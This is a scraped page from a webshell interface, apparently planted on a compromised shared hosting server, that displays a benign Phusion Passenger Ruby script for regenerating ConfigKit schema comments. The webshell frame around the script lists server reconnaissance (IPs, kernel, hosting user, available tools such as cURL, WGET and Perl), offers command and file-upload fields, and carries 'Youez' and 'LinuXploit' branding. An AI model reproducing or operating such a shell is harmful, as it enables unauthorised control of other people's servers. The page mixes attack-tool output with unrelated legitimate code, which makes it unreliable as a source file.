403Webshell
Server IP : 68.178.247.200  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux p3plzcpnl489463.prod.phx3.secureserver.net 4.18.0-553.126.2.lve.el8.x86_64 #1 SMP Thu May 28 14:12:30 UTC 2026 x86_64
User : x9dppmxs4rgd ( 8559391)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/ruby27/src/passenger-release-6.1.2/dev/configkit-schemas/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/ruby27/src/passenger-release-6.1.2/dev/configkit-schemas/update_schema_inline_comments.rb
#!/usr/bin/env ruby
source_root = File.expand_path("../..", File.dirname(__FILE__))
$LOAD_PATH.unshift("#{source_root}/src/ruby_supportlib")
begin
  require 'rubygems'
rescue LoadError
end
require 'phusion_passenger'

PhusionPassenger.locate_directories
PhusionPassenger.require_passenger_lib  'utils/json'

SimpleJSON = PhusionPassenger::Utils::JSON

FILES = Dir['src/**/*.{h,cpp}']
SCHEMAS = SimpleJSON.parse(File.read('dev/configkit-schemas/index.json'))

def main
  FILES.each do |path|
    update_file(path)
  end
end

def update_file(path)
  content = File.open(path, 'r:utf-8') do |f|
    f.read
  end
  orig_content = content.dup

  pos = 0

  while match_begin = /^(.*?)BEGIN ConfigKit schema: (.+)/.match(content, pos)
    if match_end = /END/.match(content, match_begin.end(0))
      prefix = match_begin.captures[0]
      class_name = match_begin.captures[1]
      replacement = format_inline_comment_for_schema(prefix, class_name)

      content[match_begin.begin(0) .. match_end.end(0) - 1] = replacement
      pos = match_begin.begin(0) + replacement.size
    else
      break
    end
  end

  if content != orig_content
    puts "Updating #{path}"
    File.open(path, 'w:utf-8') do |f|
      f.write(content)
    end
  end
end

def format_inline_comment_for_schema(prefix, class_name)
  lines = [
    "BEGIN ConfigKit schema: #{class_name}",
    "(do not edit: following text is automatically generated",
    "by 'rake configkit_schemas_inline_comments')",
    ""
  ]

  if schema = SCHEMAS[class_name]
    table = []
    schema.each_pair do |key, info|
      table << [
        key,
        info['type'],
        info['required'] ? 'required' : '-',
        format_option_names(info)
      ]
    end

    column_lengths = find_max_column_lengths(table)
    table.each do |row|
      fmt = "  %-#{column_lengths[0]}s   %-#{column_lengths[1]}s   %-#{column_lengths[2]}s   %-#{column_lengths[3]}s"
      lines << sprintf(fmt, *row)
    end
  else
    lines << "(unknown: #{class_name} not in dev/configkit-schemas/index.json"
    lines << " Please run:"
    lines << "   touch src/schema_printer/SchemaPrinterMain.cpp.cxxcodebuilder"
    lines << "   rake configkit_schemas_inline_comments"
    lines << ")"
  end

  lines << ""
  lines << "END"
  lines.map{ |x| "#{prefix}#{x}".rstrip }.join("\n")
end

def format_option_names(schema_entry)
  options = []
  if schema_entry['has_default_value']
    if schema_entry['has_default_value'] == 'static'
      desc = format_default_value_desc(schema_entry['default_value'])
      options << "default(#{desc})"
    else
      options << 'default'
    end
  end
  options << 'secret' if schema_entry['secret']
  options << 'read_only' if schema_entry['read_only']
  result = options.join(',')
  result = '-' if result.empty?
  result
end

def format_default_value_desc(value)
  if value.is_a?(Array) || value.is_a?(Hash)
    SimpleJSON.generate(value)
  else
    SimpleJSON.generate([value]).sub(/\A\[/, '').sub(/\]\Z/, '')
  end
end

def find_max_column_lengths(table)
  lengths = []
  table.each do |row|
    row.each_with_index do |col, i|
      if lengths[i].nil? || lengths[i] < col.size
        lengths[i] = col.size
      end
    end
  end
  lengths
end

main

Youez - 2016 - github.com/yon3zu
LinuXploit